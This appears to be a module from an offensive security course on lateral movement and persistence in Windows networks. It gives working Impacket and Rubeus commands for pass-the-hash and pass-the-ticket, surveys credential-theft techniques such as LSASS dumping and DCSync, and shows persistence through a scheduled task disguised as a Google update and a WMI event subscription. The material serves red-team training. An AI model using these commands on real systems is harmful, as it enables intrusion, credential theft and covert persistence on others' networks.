Module 4 · Lateral Movement & Persistence 🔒

Once you have a beacon on one endpoint, the game becomes expanding across the network to reach the objective and surviving long enough to complete it. This module covers lateral movement techniques, persistence mechanisms, and the operational discipline that keeps you in the environment after detection attempts.

Lateral movement categories

• Credential-based: use captured credentials to authenticate to another system
• Trust-based: abuse built-in Windows/network trusts (Kerberos delegation, pass-the-hash, pass-the-ticket)
• Exploit-based: target a vulnerable service running on another host
• Tool-based: ssh, psexec, WMI, WinRM, scheduled tasks, SCCM
• Application-layer: VPN access, Citrix, RDP gateways, Jump servers

Credential access — the prerequisite

Most lateral movement starts with credentials or credential material:

• Mimikatz / lsass dump: extract cleartext passwords, NTLM hashes, Kerberos tickets from LSASS memory. On modern Windows with Credential Guard, harder — must bypass or compromise before Credential Guard initialized
• DCSync: if you have a user with Replicating Directory Changes permission, request any user’s password hash from the domain controller
• Kerberoasting: request Kerberos service tickets for accounts with SPNs; crack offline to recover plaintext passwords (covered in the AD track)
• AS-REP Roasting: for accounts with “Do not require Kerberos preauthentication” set; extract crackable hash material
• Token impersonation: when elevated on a box, impersonate tokens of logged-in users — often lands you SYSTEM or domain admin
• Browser saved passwords / SSO cookies: often overlooked; a user’s browser has passwords to internal apps

Pass-the-hash / pass-the-ticket / over-pass-the-hash

# Pass-the-hash with Impacket (from Linux attacker box)
impacket-psexec  -hashes :NTLMHASH  DOMAIN/user@target.corp
impacket-wmiexec -hashes :NTLMHASH  DOMAIN/user@target.corp

# Pass-the-ticket with Rubeus (from Windows beacon)
Rubeus.exe ptt /ticket:BASE64TICKET
# Now your current session has the ticket; authenticate to services as that user

# Over-pass-the-hash: use NTLM hash to request TGT (becomes Kerberos-native)
Rubeus.exe asktgt /user:alice /domain:corp.local /rc4:NTLMHASH /ptt

WMI / WinRM / PsExec — the delivery mechanisms

• WMI (via wmiexec or CobaltStrike’s built-in): executes commands remotely via Windows Management Instrumentation. Authentication via NTLM/Kerberos. Logs to Windows Event Log but often missed by default
• WinRM / PowerShell Remoting (via psremoting, Invoke-Command): elegant and widely used by admins, which makes it blend. Port 5985/5986
• PsExec / psexec-style: drops a service binary; more logs; more detection signals. Noisier
• DCOM: MMC20.Application and similar; bypasses some WMI logging
• Named pipes + SMB: SMB beacons over named pipes — pivot through a first beacon without direct C2 from the new host

Persistence — surviving the day

Persistence mechanisms by detection cost:

schtasks /create /tn "GoogleUpdateTaskMachineCore" \
  /tr "rundll32.exe \"C:\ProgramData\update.dll\",EntryPoint" \
  /sc onlogon /ru SYSTEM /rl HIGHEST /f

$Filter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{
  Name='BackgroundUpdate';
  EventNamespace='root\cimv2';
  QueryLanguage='WQL';
  Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
# Consumer launches payload every 60s of uptime